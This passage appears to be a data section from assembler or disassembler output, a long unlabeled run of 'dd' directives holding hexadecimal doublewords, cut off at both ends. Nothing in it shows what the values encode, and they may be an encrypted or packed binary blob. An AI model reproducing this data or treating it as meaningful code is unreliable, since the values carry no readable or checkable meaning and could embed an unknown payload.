99E6DD98h dd 714804FEh, 4505D2FDh, 21EFD6C5h, 529B371h, 2D0446E2h dd 0EA6EB050h, 0CB3377C7h, 8011D851h, 0E1A35EE9h, 69D6D401h dd 58325F95h, 64FAD1D5h, 5E14A302h, 0FFD642B2h, 0BD917591h dd 0D3E80004h, 4179F960h, 206B03F8h, 1A3F644h, 143D8E31h dd 0C8303B89h, 28913357h, 0E692974Ch, 5114010Dh, 46E9441Ch dd 0EF859675h, 2F0CE004h, 0F4082C07h, 6186A1AAh, 97F96A19h dd 660EB0B6h, 810A28BAh, 464CE281h, 0CF20A84h, 8DC20202h dd 5AE20B36h, 74FCB389h, 5B048B0Bh, 0FAE9E19Ch, 7FC03552h dd 47D1FEC9h, 8080BD62h, 0C8683DF1h, 0A3D2094Bh, 0AF2904B6h dd 130D4CB4h, 4899A5Bh, 1447099Dh, 0FF007D8h, 0D0B2681Fh dd 262B5141h, 8163353Bh, 636943A6h, 0A1BBC084h, 991ACF78h dd 0E37E27BAh, 2AE3E901h, 0C821063h, 1CE468D9h, 83567055h dd 140C4108h, 0E97B1361h, 0BA5CE33Ch, 8BF1F5C1h, 978FAF4Fh dd 169F8BEEh, 0C89845A4h, 1655435Ah, 3EFD5EE9h, 11EFF202h dd 0E181234Fh, 0AC8C28EBh, 0F52520B8h, 682FD866h, 0C27EDCF5h dd 33578E5Dh, 9504D774h, 0A5061FADh, 662F7503h, 86991703h dd 22D3013Ch, 0A9972426h, 9755650h, 9C7FC15Bh, 6855096Dh dd 3FB07583h, 0C12843AAh, 9914EC2Ah, 77DEF61Eh, 31F804B7h dd 7E92A6BEh, 669E9A26h, 70844ACh, 83754B35h, 0EA643A92h dd 0A6B7C14Eh, 83BBBF00h, 0FDC5352Dh, 0FD3AEB82h, 1E0144F2h dd 68769507h, 317E54DEh, 481C8B8h, 0FA072C6h, 3F444366h dd 0BAD33CA5h, 1CC00421h, 7FED8101h, 9E6DA6E5h, 0B2C99395h dd 128621F0h, 67A06819h, 273828E5h, 0F7D93104h, 81CCF9D3h dd 0CA875B59h, 0BCCB730h, 313F023Dh, 82A201D8h, 2D02EF58h dd 0B060833h, 6CEC555Eh, 6859C806h, 206F357Ch, 513412Bh dd 3C107D21h, 2A640C96h, 498F87Ch, 31413E73h, 1C41C3E8h dd 3285A4FDh, 0A7A3D64Ah, 4AA51462h, 0D2905531h, 0B9B94A90h dd 4C0F68C2h, 10DC7D7h, 0BF685DEBh, 7475C27Eh, 782C97Eh dd 726C0C96h, 6E7048F2h, 3B8B7BE1h, 3C3F2255h, 0A2B77367h dd 7F43E7C4h, 0BC2F9293h, 0DD510BECh, 0E1E6CCCEh, 0D59AFF95h dd 0CC177F61h, 5F2C2E9Ah, 0D002784Fh, 7722DA0Dh, 3988EDA7h dd 0AE89A6F9h, 0B6471843h, 27D14C55h, 0BD260C03h, 0E58340h dd 7F66BAB7h, 89976092h, 1FE8F6A6h, 0E91A8321h, 4701A6C7h dd 832B05EFh, 0B0435B4Ah, 7CDB1058h, 73E04E87h, 7B18459Ch dd 0D7C4DCA6h, 1428BABBh, 0C9115BD1h, 0DAF43B75h, 9354C8Bh dd 0F46BD387h, 3EC4FB38h, 0A1D41F83h, 0AA3B8407h, 0A6EA4252h dd 99E85FD2h, 3AD82DF4h, 0E9840EACh, 1696D4DCh, 678BAFFBh dd 0ADBD74Eh, 0D0BF8186h, 40498A46h, 3A347AD0h, 0B2A21350h dd 0A17C2D80h, 0C16F85DAh, 412BF5Eh, 0B8A6A4BBh, 0E7F22B4Ah dd 8060230h, 23B03C2Dh, 569D065Dh, 0B0563E16h, 26BEA96Fh dd 5DB72562h, 3005F807h, 1CF166Eh, 0C0BF5DB8h, 3F2D7681h dd 0C2AE44B6h, 0E97F041Fh, 0F71CB0CCh, 700DD4Ch, 486871D4h dd 0B3C0D785h, 4E36E907h, 9E99BC9Ch, 0D4445317h, 0FD815451h dd 0A6111275h, 0F6ED0529h, 14B8010h, 1CBBBE56h, 0F2550964h dd 12EE1F0Bh, 422774C1h, 0E1E48DB0h, 22EBB134h, 874FD9A9h dd 0D079C4FBh, 7406B930h, 444ED230h, 0B5143209h, 0AEB76870h dd 0E60EA5E5h, 78554101h, 862062B5h, 0F70A7A9Bh, 651203DAh dd 4E4FC795h, 0C55D271Ch, 276FA6CFh, 0F65D1362h, 0C968C161h dd 6097623h, 63134801h, 4A9440E8h, 0E30CC2A0h, 0F8D2F22Dh dd 8CC5970Bh, 0F208D597h, 0BE211684h, 0A0793F2Dh, 0B07D710h dd 0CD7FF768h, 11F92D6Fh, 87DE941h, 0BB87D462h, 12160E86h dd 0C22DBBF1h, 0A43EF86Fh, 25F5D1BBh, 0B4E00597h, 34549709h dd 30465718h, 9C2CF0E1h, 5F0C102Fh, 6704F8ADh, 0D4708D27h dd 0CB0712E4h, 0FB0117CCh, 71B20809h, 0F46805C7h, 18D9B629h dd 0C7C930A1h, 4EC81704h, 0EE00B1Bh, 8C28BDD1h, 0DAA8FE95h dd 2DA7C477h, 2C737721h, 964292BDh, 69049CA9h, 0BB1C2D05h dd 132A04F0h, 0E017771Bh, 309C7B2h, 7C0C5989h, 93A28D2h dd 7CC6B78h, 8A072D6h, 3FE15848h, 0C505B2E9h, 69EA55EDh dd 572EAD61h, 0A2E88262h, 19B46959h, 79B014AAh, 0F1F61D6Fh dd 19417EFAh, 0E5AE0965h, 0BFC0C404h, 0ED4A1CE8h, 0E6EBF430h dd 69E9851Bh, 9BBDC990h, 0A782639h, 11792F2Fh, 3F1E4602h dd 9D68D60Ch, 100A8B42h, 0F03842DAh, 2DAE5E31h, 288B6FCDh dd 630DE90Ah, 0E858957Fh, 0E4AB5B7Ch, 0C3F52651h, 0E204AC85h dd 8A174059h, 0B0599F5Ch, 831FF64Ah, 1B20B3E8h, 3854B8AEh dd 0BA5F160Ch, 5C525C3Ch, 423A9050h, 0E976FC02h, 1E99586h dd 0B1AADFDEh, 5B8D1FFEh, 5F6B1253h, 8FDDE597h, 34D668Fh dd 0E5D12D16h, 650A8D8h, 0DDB002EDh, 8338DA02h, 0D5311Ch dd 0CD2265E9h, 0E9BC5C6Eh, 0A022432Dh, 791E1551h, 1BFB0C21h dd 0B9E4B87h, 0D70E6227h, 7D9BF909h, 68308CFCh, 0E665BA2Dh dd 0CC880E74h, 0E2895251h, 0DD994155h, 0EB4F0E06h, 98CBEFC4h dd 1B2F0648h, 5A828D51h, 0DD631D68h, 0E9066ACFh, 0F1432056h dd 0A856AB2Fh, 0F0D64BECh, 87407287h, 77EC2D80h, 68178F50h dd 4CA3473Bh, 4250F927h, 0D0CFFE1Dh, 0EFB45043h, 49A2D628h dd 0B14A4116h, 8F2420DEh, 306256B9h, 64AC070Fh, 509EE0CFh dd 9C88FFBBh, 0E5211257h, 0CCB16B38h, 87CC8A7Bh, 75096689h dd 2158C959h, 9C7F9DF0h, 4D71B7EFh, 6D7C8484h, 0AB685601h dd 0BB336E28h, 523304FEh, 0B93007E9h, 22891435h, 0BAD71206h dd 2927A945h, 55E01F27h, 0B521768Fh, 5B058F5Ch, 0AD801511h dd 0A2010DF7h, 6789558Fh, 0E9855965h, 8FAB87F4h, 85284B5Ch dd 195D2968h, 0CB4025C5h, 6F126D05h, 60A05C47h, 0C39042Dh dd 0BC89BF92h, 191A786h, 0DC31254Bh, 5BCB5B20h, 97D59002h dd 0AE1F734Eh, 2796FE09h, 0F8307381h, 90F6A9DDh, 968BE694h dd 0CC7D6B49h, 0D56817ABh, 96086048h, 34FB754h, 8F91A0h dd 0BE593E45h, 681E1499h, 7E0B0AB0h, 8B4B217Ah, 625B2A00h dd 9A389509h, 186C778Ch, 0CD068A0Bh, 3BAC056Fh, 0BE2D7AE8h dd 295B6D52h, 68F7CAF8h, 9A8DFA27h, 37C701C4h, 63E93A6Eh dd 0D89D7B0Ah, 0B51FEC6Fh, 0FDA9A5FBh, 0CA81013Dh, 0F19E5CD4h dd 972C9D60h, 8E095A71h, 0C39D71E6h, 0CE99D5BEh, 0E45B6163h dd 6B00585Bh, 967FE0B9h, 0C2F13108h, 8F94E9C7h, 0CD831354h dd 0DB1E1C19h, 546B4614h, 0BA4B9A5Dh, 0FB48078Eh, 6E718004h dd 3AFC118h, 0EABA6045h, 158F5A18h, 0FE644290h, 20D79D2Dh dd 0D15305F2h, 8E91441h, 0BDE9648h, 162D7826h, 4A9F4289h dd 59046A50h, 895EF331h, 9CF79AC3h, 77B27AACh, 1FE7175h dd 0BF6BE568h, 200D6A7Eh, 0B86B0FE1h, 513096F3h, 2672BABBh dd 181B6Ah, 717C2A34h, 8A9CFDE9h, 3FA9DC27h, 4D73F307h dd 7F89CB51h, 5743C27Dh dd 67B0F8C0h, 56B0E5BAh, 65465995h, 5882F049h, 0E9780C94h dd 27E996F5h, 19F4F189h, 6058FE5Ah, 303574A5h, 244158BFh dd 49BC5CF8h, 822727FAh, 4B0559A4h, 3E2D3954h, 0CB5C5B24h dd 0DEE918B2h, 0CBBC9h, 81265F7Eh, 0DD1D0ACBh, 7854425Dh dd 0C70CA0Ah, 0C3409E09h, 7A56025Fh, 9AD95842h, 0C990B42Fh dd 8182ED38h, 954EEA4Fh, 0F5C05330h, 0B43C6FF8h, 685D6056h dd 5047520h, 8ADF97A7h, 12B4A2BEh, 0DA47879h, 17B513FBh dd 1314EDBEh, 2AC94186h, 8FD5631h, 4A688F7Ah, 45B833FFh dd 0EF84105Eh, 1ED383B2h, 0D024625Fh, 0F370D75Ah, 7AB43F74h dd 4A47E602h, 0E27D1BE4h, 318255BAh, 6A60A138h, 0B16BFF3h dd 0FBA0DD16h, 6FC1BC0Dh, 50FC800Bh, 0EFB0DD27h, 2EE120EAh dd 0C2B4B0E8h, 93DD32F6h, 0F860C248h, 2F84806Ch, 0C0A4F3h dd 2DDB7446h, 6803F20Dh, 2FF26958h, 42487199h, 0B6904059h dd 3909608Fh, 0B1C5897Eh, 0BC704DEAh, 0FE481318h, 31F0BB55h dd 68160CF2h, 510C1942h, 476C3917h, 89E0C712h, 3AE8B004h dd 5A722CE8h, 3A39FF45h, 0DD594742h, 149DE196h, 4A789D33h dd 84107F97h, 0F1957F8Dh, 4C76092Ch, 8082A654h, 603091C1h dd 1FB35317h, 38D828E8h, 96FC329h, 377EB80h, 0C9FEE128h dd 0E9F4B252h, 0F77DC229h, 5EC096D6h, 5F250763h, 4058D43Dh dd 646A5AD1h, 45E4415Eh, 7739163Eh, 49CBE014h, 8F9C7C2Dh dd 608A0B14h, 61C28076h, 81306E7h, 645F3ED4h, 5E7161E7h dd 0CFC1C06Eh, 56582368h, 92855F71h, 0C17430AFh, 95095E98h dd 57D9016Fh, 0E917C7E5h, 0BD7680AEh, 835B1B50h, 59AE5880h dd 847D4ED9h, 0ED8EA099h, 0DA3426F6h, 0BF0F1646h, 267E0F5h dd 0BE6DE95Dh, 18581C5Eh, 0CB0DCCEAh, 0B481FD82h, 6A6C8108h dd 5825E0A3h, 475858ECh, 314B15DBh, 7BCC13FAh, 384F61FAh dd 0DACC3A7Ch, 0E6A05420h, 3B2DE4ADh, 5095967h, 0D5093F9Bh dd 6E5016A7h, 7B592B99h, 78A1F6F8h, 0D9E4525Dh, 51CBA683h dd 5CBBB40h, 0A018E20Bh, 8F085F02h, 0A52A3107h, 0E4BB0078h dd 858D513Bh, 810505D9h, 81F424E0h, 0D54DB920h, 0D528C353h dd 31C8FB4Bh, 9D926968h, 14E39184h, 57EC010Eh, 0CF09F749h dd 891A8F01h, 491D0A7h, 2A940631h, 33239F80h, 0CF212982h dd 0A53A1F8Fh, 22CADEFBh, 0CC6409BBh, 74070234h, 0DEE557Bh dd 3F1CBA31h, 0EC2BA3E9h, 4EA65EB8h, 18599918h, 0F79D9BB6h dd 0C5224587h, 4B85FC10h, 0BCF4E09Dh, 4D9EDD56h, 600A38E5h dd 60694307h, 5A805561h, 2F1253D6h, 138D6816h, 3A8A1061h dd 96C7CF9h, 6FB50500h, 0DE2D0188h, 0D55A0CF0h, 0DA56EF1Eh dd 0FD109423h, 4A1006E3h, 715B27EFh, 0B39D18BAh, 0C7B55A54h dd 5E989EBh, 525E6E22h, 68F5107Dh, 173D5902h, 97408284h dd 7F4CE251h, 0FB5A895Dh, 65E91F32h, 0F6554BE2h, 1BF1C1D0h dd 12882EB1h, 0AA5625E9h, 53AC8F5h, 0EA2AE658h, 24C67F89h dd 401F6C85h, 54C81966h, 20C9DEB7h, 0A1585F08h, 5751248Ch dd 96F6BF3Bh, 160843ABh, 0A4C62D53h, 0D0AA15F6h, 0BF1AE67Dh dd 98357D07h, 6261043Ah, 0AEEC41B8h, 3EBD5500h, 0BA1C5D3Bh dd 6C9DF917h, 0BEA652EFh, 8502B013h, 5F865FE4h, 0BC0306C0h dd 0E9B95506h, 4BC59B2Ch, 8610AEC5h, 8F10DC80h, 0BF31E5Fh dd 16CB11AAh, 565C242Dh, 8CE9787Ch, 5109C394h, 0C9A25C68h dd 0AD43DC76h, 0E20DA24Ah, 75A20570h, 5EAFA825h, 4D9BC92Ah dd 802FF072h, 27E4144Eh, 1D6EF77Dh, 507E6817h, 78EA89Dh dd 5637DBE9h, 7F00C25Ah, 5602EFF0h, 0F11211BEh, 0F389C077h dd 0C84227F7h, 0D3EE0BE8h, 71870A01h, 0D9E9D601h, 3894166Fh dd 2816454Ch, 30EC5E75h, 31F3C60h, 0DEB06B42h, 0A205CE6h dd 823BFF5Bh, 737C81E6h, 0F8ECB009h, 90B54B2Dh, 2549F730h dd 0F71E6028h, 895D3239h, 4275E94Fh, 0E5255446h, 0FE109567h dd 2A5A454Bh, 0D12F88C4h, 0D1E95019h, 1674052h, 3AB07125h dd 8765F009h, 32210525h, 0F67F638Bh, 5D9D44FDh, 0BB036FCBh dd 3B91F10h, 0ADEAA0D1h, 97A5614h, 41DDACCCh, 7D3C6DC8h dd 0E1C0C15Bh, 6E457FE5h, 6C766D9h, 0C7E60E8Eh, 440C058h dd 0F280DEF6h, 3C06CEC1h, 7082EEC9h, 0B202BA5Fh, 15E9C15Ch dd 1CD770EBh, 4B5AD328h, 3E87372Ch, 57A94904h, 4CA32F85h dd 4B260180h, 76EBC125h, 2A260040h, 0DD09A962h, 166CC580h dd 0FC29C711h, 0FED42627h, 782D5A96h, 4B460F3Eh, 22315166h dd 5907F250h, 3E7EE7A2h, 248F74A5h, 74E40283h, 0CA571549h dd 0E90802CBh, 0F6A1A9A6h, 61AE0828h, 0DD5BB00Bh, 2408C8A3h dd 0E92C04B0h, 0D335EA31h, 0E48959CAh, 0B0940EBDh, 57EDE1BDh dd 0F065DC3Ah, 0A12E5C41h, 0FC346FA4h, 0C7F3A0ABh, 656A3A0Bh dd 5C28DF6Eh, 91A22508h, 905C675Fh, 0D650A782h, 60F5416Ah dd 6FACBF04h, 0B1A91AD2h, 0F8D24EF4h, 883CC5C5h, 5D67FA39h dd 29AF55E4h, 6A2AF199h, 194CC554h, 210E14EBh, 74975DD5h dd 0C8ABF40h, 0E82DAC13h, 361AC5F8h, 910831BEh, 0C2AD971Fh dd 0C9665EFEh, 5955848Dh, 20E7C803h, 213613F8h, 0B63C044Dh dd 8928BCA9h, 524FF552h, 0E1815427h, 3513E95Ah, 29E0DA12h dd 7995D3DDh, 0B2680565h, 47E49818h, 3CDB7E12h, 0BBDC40EAh dd 35658B23h, 0FFE9509h, 436B8920h, 4C8805Ch, 2005B05Fh dd 59A29B60h, 0DFFADB61h, 84CBFFC5h, 1C9CE82Ah, 25725F68h dd 58CACE7Fh, 0EB25E353h, 0A2B83360h, 0B0C1506h, 0FE0B86B9h dd 63AC611Dh, 0F1663668h, 764B302Dh, 0EA1D11B2h, 16D41CD6h dd 599402A9h, 4031CB24h, 90D529A1h, 895663CAh, 0BA844D69h dd 0EEF4E0FCh, 2951E88Fh, 4BA132Bh, 12882CD7h, 0D7022BC2h dd 0B7900364h, 64301145h, 0F15444BCh, 6B1B9E0Eh, 0C02DF6Ch dd 0D4759753h, 82D20217h, 0CE4A61C6h, 7D999A55h, 87449219h dd 0D18742F3h, 5E64BE82h, 894A53B0h, 0AE1218E6h, 0A8B3AE75h dd 4F8AA717h, 3F31E69Ch, 5F54273Ch, 0EB40206Ah, 0D048F706h dd 0D6CF2F4Fh, 4F406224h, 0AE6C22DFh, 0D6D1DD69h, 94010313h dd 144E587Fh, 532A093Eh, 0F158FF51h, 1897C03Bh, 5B07E715h dd 4889BF04h, 17BA815Ch, 0E5C49Bh, 0EA32FB9Bh, 0C1480178h dd 2361D3Fh, 0CA9F1D9Fh, 82111BC9h, 9EDE030h, 76A14158h dd 0C742FE08h, 5BA21C75h, 1681A650h, 0CEFAA065h, 0D4A51072h dd 0A967BA5Fh, 983AABD7h, 0A4555E6Bh, 2B6C0BD4h, 5D23BA55h dd 0D0958C66h, 13FB0B3h, 2597091Eh, 2AC538E9h, 597E4BCEh dd 5E27FBF6h, 642C2F5Dh, 0D2943F64h, 33FB78FFh, 82A54182h dd 4862B1AFh, 0C857EA42h, 4F460FEFh, 455BAE9Bh, 0A3180608h dd 28169235h, 5B68501Fh, 58FD6F04h, 645868EDh, 24D2270Bh dd 0C114315Eh, 2FBF5F08h, 0AE5750DBh, 0EE31024Ah, 727F3CEDh dd 2C711AE3h, 58F05C95h, 8836091Bh, 533E5CF3h, 5B66DAD8h dd 774C6095h, 577430E9h, 2F25BF58h, 4A35E72Ch, 2A56933Ah dd 4D426804h, 0E81083E3h, 9CE04FFCh, 5A6FE0C3h, 0B7E68136h dd 0A4FC2C71h, 4E17CBFBh, 0E5B3686h, 53339BBEh, 82F00124h dd 3B5A69BCh, 27050702h, 0DECD8CB1h, 95A32240h, 86DF9C7Fh dd 9ECBF43Dh, 57E9C1E2h, 5FC19DF4h, 0FE2C25CBh, 2D7350A5h dd 0B8B310BFh, 1C7D99B4h, 4338C365h, 4E12E3C1h, 0F2AAC876h dd 902D79BCh, 0C245F12Eh, 46559C82h, 47B420CAh, 0D3AA0504h dd 3FD555A7h, 2E01680h dd 945A503Fh, 0C9264F90h, 714890D4h, 0FE4B2748h, 11ABE218h dd 0F5808163h, 48CACF15h, 42CA3162h, 203BA25Bh, 207F901Ah dd 82B14164h, 0D4803BBDh, 0A2AAF182h, 282C4DDFh, 6334F7F1h dd 0F11E65ECh, 0AC67D022h, 0D90EB151h, 6516F180h, 0A0EC10C9h dd 0BD7A407Ch, 60B83B5Fh, 2EE3B15Eh, 0A5B50BECh, 0E1B16BA1h dd 4037EE2Ah, 0EDEAF8A4h, 0BE5F0209h, 78319818h, 26B82066h dd 150DBB07h, 23A23AA9h, 23344A5h, 538C2D03h, 0EF74E3B9h dd 575AF332h, 0D75A9A56h, 4550D159h, 2C85BE9h, 2825689Eh dd 0D31344ECh, 8E059102h, 76FD45DAh, 3B7A2106h, 0C31C0C03h dd 0F78BDF1Ah, 83615CD7h, 2AC07501h, 31C0EFB3h, 22B7C29Ah dd 0EEE781Ch, 0AA387744h, 0AB4A5BA3h, 8594DB17h, 0B7BBAE13h dd 0E9510B0Eh, 0F492295Ah, 0EDF408E9h, 7BA350Bh, 0EFA434D2h dd 0ACEF8E94h, 303AC4E0h, 61B023D7h, 5C292792h, 8025A6F7h dd 188E8D9h, 0E3E96107h, 0ED580322h, 3460D645h, 0EE35C4A6h dd 3D68E425h, 83C083D2h, 0B0144911h, 50824018h, 0BFB25212h dd 801220EFh, 681631ECh, 0BDAD06F7h, 37C9578Eh, 4EF77429h dd 9615FC4Dh, 105027E2h, 6EB2D595h, 18CB7D56h, 4EE6E963h dd 62373D60h, 0E0F12F39h, 9F4F34C1h, 104C360h, 53D0F602h dd 0C02C09B7h, 0B52F94AAh, 0D425B1B8h, 2BE43A00h, 3140052Dh dd 9479C15h, 9FE64EE9h, 0B9D6818h, 82FCD8F5h, 527F27C4h dd 8331005h, 0A5AC5A30h, 0C87BFB7h, 0E8EBE574h, 0D0EA97B4h dd 0A9BBE9F8h, 691C209Fh, 7268AAC8h, 854B556h, 180C5E16h dd 16C2C364h, 0C20579A8h, 2904315Bh, 0D7D7B8AFh, 5B2DE9E9h dd 0E9274BC6h, 0BD728083h, 0B7ED4F3Fh, 0A0976AF2h, 0D24A91A4h dd 20A9040h, 12E7861h, 505C69E9h, 10D52D02h, 6EB84007h dd 986880CFh, 499A214Eh, 0CF715A2Eh, 4D8CEAC0h, 13429D1h dd 809CEFAh, 0A3E6575Fh, 0A7D0731h, 88DC555Bh, 88D0B641h dd 2914FB3Fh, 24597EC1h, 79502F98h, 0CF42825h, 3A264135h dd 19B54AC2h, 7CF4DCA1h, 0CD81036Ah, 6E21743Fh, 44A1EDB0h dd 42070D2Dh, 0A47955E4h, 0D5F7F232h, 335A10C6h, 6662C1C5h dd 78B47C56h, 99C91762h, 86DD81C1h, 123E5E6Bh, 0A8215746h dd 46EAB46Ch, 0FF520857h, 2DAD97A0h, 0C1497E0Fh, 20F5BCE1h dd 1FBE9980h, 5AD390A1h, 0DB2CC8CAh, 3DB39A4Fh, 48F5F310h dd 13F84E87h, 0BB011549h, 6E6A61ACh, 81562243h, 0D151799h dd 0E7C2B46Ah, 9EAAB512h, 0B3EED184h, 0F50193F3h, 5E591B37h dd 6441BC2Ah, 0F300E3B0h, 0A1A6E404h, 0D2B7C498h, 95D6817Eh dd 6E04F969h, 0F023977Bh, 2E015F71h, 0E929AA22h, 0A82E895Dh dd 2565D4F3h, 0AD685F06h, 82242EB6h, 22026C0Dh, 4165EF30h dd 0DFC68011h, 53639122h, 0B9ACC377h, 992F3C8Bh, 0E5D1F42Bh dd 52FE4DFAh, 681F5778h, 0DC272A80h, 42E7014Ah, 2F18E96Ah dd 25E66812h, 45FB6809h, 8540DBB1h, 9BBDE959h, 0FEA431FEh dd 2011D961h, 0FCBDA5E9h, 6687851h, 9B457D64h, 0B54DCAE0h dd 0EB4B824Ch, 6800C785h, 0B262AB93h, 0BFF8201h, 6C10D7BBh dd 53C46B8h, 4AB91A8Eh, 680FE00Bh, 306F4E3Ah, 0E71D8BBh dd 9607948h, 2041C4Dh, 0B7841C5h, 0FE184D03h, 3EE180F1h dd 1610108h, 3193A3BEh, 5FA32CE7h, 0FCE481B8h, 896E5112h dd 4A11884Eh, 4180F938h, 355FDEE9h, 7F51D139h, 0E8926CFDh dd 6AB1B281h, 0CD7955DBh, 572F62Dh, 85D0B02Fh, 1EF94FCh dd 0F1B5DFA6h, 116E3008h, 4C00E69Bh, 296CBF75h, 66599FDFh dd 20D45E69h, 79F29513h, 67FE669h, 982FA0EAh, 0AC5DD64Ah dd 0F5492E78h, 5F2F4F1Ch, 8F739394h, 27A4E7B7h, 0AB70AD5Ch dd 6CB03E07h, 5AC1EE02h, 48FD2F0Eh, 95312AAh, 0F329C25Eh dd 10BDA684h, 0BB1710E7h, 6E8EA14Eh, 0AF4A74B8h, 5C891D8Ah dd 0CD2D83B0h, 48690702h, 8105F801h, 4FD3E907h, 1F2B7C25h dd 7531074h, 0F75BDF09h, 3D18BE3Ch, 81016040h, 840AA5F6h dd 0D626077Bh, 0C84E6104h, 88659BA4h, 2DAB4F46h, 0A758B08Bh dd 5CDCCA07h, 696F1F0Dh, 7817828Dh, 9B655509h, 21049A4h dd 0DDFFF805h, 6091AE7Fh, 4736CE4h, 18F5532Fh, 81AA4E5Eh dd 45B23E59h, 0EC04DE9Fh, 0F2B0824Bh, 0E3C1C0FEh, 803281D0h dd 0FD208AF7h, 0AA465BE8h, 7A7380C1h, 1549463h, 0B6E1B850h dd 0F131CF22h, 6FC2A858h, 7F39ED06h, 245D8Eh, 272438D2h dd 0B657962Dh, 43E9690Ch, 0B2552E8h, 36101C58h, 35046C80h dd 98252234h, 903FD815h, 1E9F048Dh, 0AF2178BDh, 3268FF42h dd 7303F470h, 956791CDh, 0E1E45270h, 2A8C2E1h, 0E9E38F01h dd 0B72CE038h, 0FE082503h, 18EB14DFh, 457C63E9h, 9AF0590Bh dd 0EDA3A795h, 30076761h, 2FC465h, 5BF50D37h, 53F1595h dd 54D40445h, 9B152E9h, 567C816Eh, 0D81D7E75h, 0DF83853h dd 5F2CE35Fh, 4A6890A4h, 0FFF8C578h, 1393C6E2h, 4CE0B3D0h dd 36BE131Bh, 304C64B9h, 319A0173h, 0D329D255h, 595D965Ah dd 4FD4D9A4h, 57FE23C4h, 4F6A8CAh, 66A12C00h, 5A1E685Ah dd 0E91F3110h, 4B7682Fh, 9C685E54h, 2BCAD8FBh, 0A122A16h dd 627C10Ah, 0C6ABC612h, 772C0CDDh, 0F4271344h, 7F0A0868h dd 0D558BD01h, 0FF3A645Eh, 0A6AB6325h, 2DE9C22Fh, 0EE235FB5h dd 23031D69h, 43D5EDF1h, 4AB8DA99h, 5346DE81h, 92E135F1h dd 0C4FB681Ch, 0BFF313D6h, 9DBE3BC5h, 0B556007h, 3B20B15Eh dd 451AEBEh, 0EEC125B7h, 84BE8005h, 0D0B88326h, 0C5E9CE09h dd 0EBF3AE09h, 1879FCD1h, 770175E4h, 0D68CCC9Ch, 1D2D1633h dd 257C0221h, 7208ED6h, 665BA0B0h, 4C4A8890h, 0C82E530h dd 3911221Dh, 5B093860h, 932B8D24h, 288DF6A7h, 251977C1h dd 1EA25845h, 4029E098h, 9D90EBBCh, 6025E020h, 0CAF777CAh dd 55BAEA0h, 95744A73h, 30342CFh, 0E8B31DD7h, 20EBA0Dh dd 0D0F73345h, 0EC77FE68h, 0FF930972h, 0FB55DA21h, 94F28E4h dd 49B802BAh, 5039477Ch, 0C64BE908h, 0DD80990Eh, 80E1C009h dd 0D0E4B3C3h, 0F3E3F6EBh, 96B8EF5h, 89D7BA3Fh, 7405756Ah dd 646497C6h, 0FB5594F4h, 3CFA0E16h, 7E4EE97Dh, 843565C2h dd 0CB8180E1h, 0F522BEDAh, 4284413Ch, 0AFA86848h, 54E4C2D7h dd 0BCA60213h, 0F9E1403Bh, 2A76C66h, 874FEFD1h, 4C0AC3F7h dd 0D75EF008h, 823237A8h, 0BA902896h, 0D6097360h, 0F5012D24h dd 0F1B19E30h, 194BBF80h, 66796A11h, 167DBBDBh, 0C7E3C80Ch dd 21775727h, 65EC68E1h, 0E4A9B18Bh, 5C84B9DDh, 58A537BFh dd 0C147B800h, 505A06EFh, 1318EFF0h, 0B4594C2Dh, 0B913E731h dd 20BFC6B3h, 6601F838h, 0C729141Eh, 58085039h, 79371EC5h dd 6C670DFBh, 0DBFC7BA9h, 0AB681373h, 0B21AF2Fh, 0B90035E3h dd 0A7D7F88h, 0CA69BFF4h, 3C6C7E36h, 0A74CA016h, 7DBB2792h dd 0DA2D3D00h, 3A0A1F35h, 705D829h, 6889ED24h, 0C7597D0Eh dd 7FEC2189h, 4D962DC4h, 7A8BF7A5h, 4AE94148h, 11683BCBh dd 0FD3B5A0Eh, 0F7E98274h, 6254FC4Eh, 49F15BADh, 5CC3B1C9h dd 0B51EB93Eh, 0CB7B3BBh, 6EC56554h, 4D0B95F9h, 0E00641F7h dd 88A6E0EFh, 66582CC6h, 30D20EEAh, 0D003BCFDh, 7EE680EEh dd 7891063Bh, 0B0FE7D79h, 65F13029h, 0DC8243Ch, 0AC10342h dd 18DF02D8h, 0D8D14F25h, 52E7A84Ah, 0C5DE25D8h, 9FEC062h dd 30E398FFh, 285B09DEh, 0FA575AF0h, 570DA071h, 1258673h dd 1E9CF927h, 44B64953h dd 7374F590h, 78E48D27h, 122BB445h, 169E94Eh, 86856E33h dd 0D83EF021h, 0E825C145h, 4C657D0Ch, 263AF7ADh, 6A9E825Dh dd 0BD5503C0h, 225EF0EFh, 74E6E581h, 57619A2Eh, 0B2291900h dd 4EE92133h, 82A4F15Dh, 0A4644A8h, 0BF20D022h, 68876945h dd 0F5091373h, 0E9621171h, 2623F0CBh, 33C565Dh, 7A76539Ah dd 3FB32AE9h, 5F2EF132h, 64C19408h, 2456AB05h, 0E1D0BDC1h dd 4BC8B800h, 506DBE05h, 19A1585Fh, 0AF89253Fh, 3EE90347h dd 0FF93ABD9h, 36D3B789h, 52EF9413h, 441203FCh, 0F8057039h dd 610D2CDCh, 0B85750C5h, 4E0962EAh, 500FC54h, 3E9B6C8Bh dd 7DF6002Dh, 0D73531A5h, 700CF414h, 814A43E9h, 7D84173Eh dd 0F546EB10h, 0B0E4532Ah, 0C17720ECh, 51595A0Eh, 89800BB5h dd 3FA504D6h, 72DE9C8h, 166BE34h, 8548EC5h, 0EA30064Ch dd 396FF127h, 680C0F04h, 0CEF35D17h, 29A0924Eh, 772F3D7Eh dd 0CDE9DE10h, 5E1623BEh, 83A47FECh, 359C34DAh, 0A4C5A384h dd 8113A5B4h, 7A2A8857h, 0C258346Eh, 0C1D73414h, 0AA964877h dd 99F0A99Ch, 886B5C3Eh, 0D9E0DA0Bh, 2DF18080h, 63DB2817h dd 574CFF28h, 2CF00914h, 0FBAC7AEBh, 0D114E3D2h, 58C908C6h dd 0D32CAF2Bh, 0F0DE8398h, 1677221Eh, 0E5C4B7D3h, 99EB9512h dd 4767FCFDh, 9B0FF6BAh, 4B2A5830h, 815C602Bh, 317218CAh dd 6205DEA4h, 0C1A87995h, 6F144B68h, 0ED802634h, 953DF639h dd 0D0E25500h, 72BDE475h, 0AF3E5534h, 582FE66Eh, 0C1E210BBh dd 4ECF6809h, 5D4B1455h, 454C8C5Fh, 0C580807Bh, 0DF20937Dh dd 0E1E5A04Bh, 41661F3Ch, 0FD31170Dh, 61C502CCh, 55DC1164h dd 0C7E1A2C8h, 0D09C562Fh, 76F6A1F2h, 0E67F5C31h, 50644997h dd 2E17E5F0h, 0ECFC32FEh, 7510BF4Fh, 7408500Bh, 53070E79h dd 0DB1C302Dh, 0F389E9A1h, 6DC3CD6Eh, 0BF407755h, 0CB45EC5Fh dd 9655570Dh, 68500188h, 490E02F1h, 81403B58h, 